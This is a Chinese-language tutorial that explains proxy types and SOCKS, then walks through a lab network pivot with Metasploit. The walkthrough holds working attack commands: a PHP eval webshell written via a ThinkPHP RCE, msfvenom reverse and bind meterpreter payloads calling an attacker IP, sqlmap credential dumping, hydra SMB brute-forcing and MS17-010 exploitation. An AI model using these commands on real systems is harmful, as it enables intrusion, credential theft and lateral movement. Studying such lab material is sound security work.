一、Socks代理简介
1.代理简介
代理服务器作为一个中间人,负责转发客户端请求消息以及服务端响应消息。
1)正向代理
正向代理(Forward Proxy):是一个位于客户端和原始服务器(origin server)之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。客户端必须设置正向代理服务器,当然前提是要知道正向代理服务器的 IP 地址,还有代理程序的端口。
作用;
- 隐藏访问者的行踪
- 访问无法访问的服务器B
比如我们国内访问谷歌,直接访问访问不到,我们可以通过一个正向代理服务器,请求发到能够访问谷歌的代理服务器,这样由代理去谷歌取到返回数据,再返回给我们,这样我们就能访问谷歌了。
2)反向代理
反向代理(Reverse Proxy):正好与正向代理相反,对于客户端而言代理服务器就像是原始服务器, 并且客户端不需要进行任何特别的设置。客户端向反向代理发送普通请求,接着反向代理将判断向何处(原始服务器)转交请求,并将获得的内容返回给客户端。
实际运行方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务 器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一 个服务器。
作用:
- 保护和隐藏原始资源服务器
正向代理代理客户端,反向代理代理服务器。
3)透明代理
透明代理的意思是客户端根本不需要知道有代理服务器的存在,它改变你的请求报文,并会传送真实 IP。
透明代理实例,很多公司使用的行为管理软件

客户端 A 和客户端 B 并不知道行为管理设备充当透明代理行为,当用户 A 或用户 B 向服务器 A 或服 务器 B 提交请求的时候,透明代理设备根据自身策略拦截并修改用户 A 或 B 的报文,并作为实际的请求方,向服务器 A 或 B 发送请求,当接收信息回传,透明代理再根据自身的设置把允许的报文发回至 用户 A 或 B,如上图,如果透明代理设置不允许访问服务器 B,那么用户 A 或者用户 B 就不会得到服 务器 B 的数据。
2.Socks简介
SOCKS是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。
根据OSI模型,SOCKS是会话层的协议,位于表示层与传输层之间。
使用TCP协议传输数据,因而不提供如传递 ICMP (比如ping)信息之类的网络层网关服务。
现今大多组织的网络架构,利用网络防火墙将组织内部的网络结构与外部网络如 Internet 有效地隔 离开来。这些防火墙系统通常以应用层网关的形式工作在网络之间,提供受控的 TELNET、FTP、SMTP 等的接入。
而SOCKS 则提供一个通用框架来使这些协议安全透明地穿过防火墙。
3.Socks代理简介
- 被代理端与代理服务器通过 SOCKS4/5 代理协议进行通讯;
- SOCKS4:是对HTTP代理协议的加强,它不仅代理HTTP协议,而是对所有向外的连接进行代理,没有协议限制;
- SOCKS4a:SOCKS4协议的简单扩展,允许客户端对无法解析域名的目的主机进行访问
- SOCKS5:SOCKS5比SOCKS4a多了身份验证、IPv6、UDP支持。创建与SOCKS5服务器的TCP连接后客户端需要先发送请求来确认协议版本及认证方式
4.使用Socks代理
- SOCKS服务器的IP地址
- SOCKS服务所在端口
- SOCKS服务是否需要身份验证
5.Socks代理与VPN区别
VPN主要用于从外网访问企业、公司的内部网络,原理是先登录到VPN防火墙、服务器,得到权限, 再进入内网。这个过程,用户一直是以自己的身份进行的。
而Socks5是一种代理,也就是所有的交互数据都先经过另一台主机(网卡),这个过程中用户访问其他网络是都是使用的代理服务提供者的身份。

二、Socks代理实战一(MSF)
1.渗透场景

2.测试Target1
注意:
在本地搭建的主机,使用的是vm2的网卡,需要==禁用==才能避免kali直接ping到192.168.22.0/24网段,从而搭建一个渗透环境。
1)信息收集
- 端口信息收集
nmap -A -T4 -p- --script vuln 10.34.126.178
开放端口:21/22/80/111/888/3306/8888
操作系统:Linux

- 目录扫描
feroxbuster -u http://10.34.126.178 -w dic.txt -C 400 401 402 403 404

发现是ThinkPHP

2)分析利用
- 80端口
- Thinkphp v5.0 存在远程命令执行漏洞,通过命令执行写入一句话,可 GetShell
- 执行命令,将webshell重定向到3.php
echo "<?php eval(\$_POST[pass]);?>" > 3.php
注意:在Linux中$表示变量,要用\进行转义
echo PD9waHAgZXZhbCgkX1BPU1RbcGFzc10pOz8+ | base64 -d > 4.php

- 使用蚁剑连接
3)主机信息收集
使用ifconfig发现192.168.22.0/24网段存活

4)反弹Shell
反弹Target1的 Shell到MSF
(1)方法一
- msfvenom生成payload
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=10.34.126.129 lport=5555 -f elf -o 5555.elf
- 上传到Target1的/tmp目录下执行
# 赋予执行权限
chmod +x 5555.elf
# 执行程序
./5555.elf
- 获得Target1的meterpreter
(2)方法二(建议)
- 使用MSF的ThinkPHP模块
- 使用模块,获得meterpreter
5)建立Socks代理
(1)获得Target1的meterpreter shell后,添加到192.168.22.0/24网段的路由
使攻击者可以访问目标主机的内网。
run autoroute -s 192.168.22.0/24
run autoroute -p

(2)使用MSF的socks5模块启动socks代理服务
可以使本地工具或软件通过代理经autoroute添加的路由访问内网
use auxiliary/server/socks_proxy
run

(3)配置 proxychains 代理工具
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080

(4)使用proxychains代理
可以让其他工具的流量强制通过指定代理转发
proxychains curl 192.168.22.22

注意:在使用proxychains时,出现无法找到配置文件时可以将proxychains.conf 文件删除

(5)配置代理插件

(6)开启代理,成功访问192.168.22.22(内网)

3.测试Target2
1)信息收集
proxychains nmap -sT -Pn -p- -n -T4 192.168.22.22
开放端口:21/22/80/3306/8888
操作系统:linux

注意:
- 在真实的渗透环境下,使用nmap进行扫描会生成大量的流量使目标主机的payload断掉,并且会被发现
- 在使用socks代理时,nmap应该添加
-Pn(不以ping进行扫描,nmap默认使用ICMP协议扫描),因为socks不提供如传递 ICMP (比如ping)信息之类的网络层网关服务。
2)分析利用
- 21/22/3306端口
弱口令爆破
- 80端口
bagecms,SQL注入
proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword
proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword --dbs
proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword -D bagecms --tables
proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword -D bagecms -T bage_admin --dump
得到后台登录账号密码为:admin/123qwe
后台登录地址:http://192.168.22.22/index.php?r=admini/public/login

3)Socks代理配置
蚁剑配置socks代理连接webshell(可以直接保存)


4)主机信息收集
发现存在192.168.33.0/24的内网网段。

fscan.exe -h 192.168.33.0/24
探测此网段存活主机:发现存活主机192.168.33.33

5)正向Shell
因为攻击机的网段(10.34.126.0/24)和Target2的网段(192.168.33.0/24)不同,所以Target2无法反弹shell给攻击机
反弹Target2的 shell到 MSF
(1)msfvenom生成linux木马payload
msfvenom -p linux/x64/meterpreter/bind_tcp lport=5555 -f elf > mingy2.elf
(2)上传到Target2的/tmp目录并执行
chmod +x mingy2.elf
./mingy2.elf

(3)创建正向监听器,建立正向连接
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.22
set lport 5555
run
(4)获得meterpreter

注意:顺序不要搞混,因为生成的是分阶段payload,payload要先执行,在目标机器上实现监听,之后在msf发送后续payload给目标机器
6)添加路由
反弹回Target2的meterpreter shell之后,添加到33网段的路由:
run autoroute -s 192.168.33.0/24
run autoroute -p
4.测试Target3
1)信息收集
proxychains nmap -sT -Pn -p- -n -T4 192.168.33.33

2)分析利用
(1) 445端口
检测ms17-010漏洞
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.33.33
exploit

利用ms17-010漏洞
use exploit/windows/smb/ms17_010_psexec
set RHOSTS 192.168.33.33
set payload windows/x64/meterpreter/bind_tcp
set LPORT 4445
run
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.33.33
set payload windows/x64/meterpreter/bind_tcp
run
如果ms17模块利用不了可以使用SMB,使用hydra爆破SMB
export HYDRA_PROXY=socks5://127.0.0.1:10090
hydra -l administrator -P pass.txt smb://192.168.33.33

use exploit/windows/smb/ms17_010_psexec
set SMBPass root
set SMBUser administrator
run


(2)3389端口
远程桌面连接
- Windows系统使用 proxifier,代理RDP远程桌面连接
- 使用 proxifier添加代理服务器
- 添加代理服务器
- 添加代理规则
- 使用代理规则
- 打开远程桌面连接程序
- 添加目标主机IP
- 进行连接
- 成功连接
- Linux系统使用 proxychains代理 rdesktop 远程连接Windows桌面
proxychains -q rdesktop -u administrator -p root 192.168.33.33

















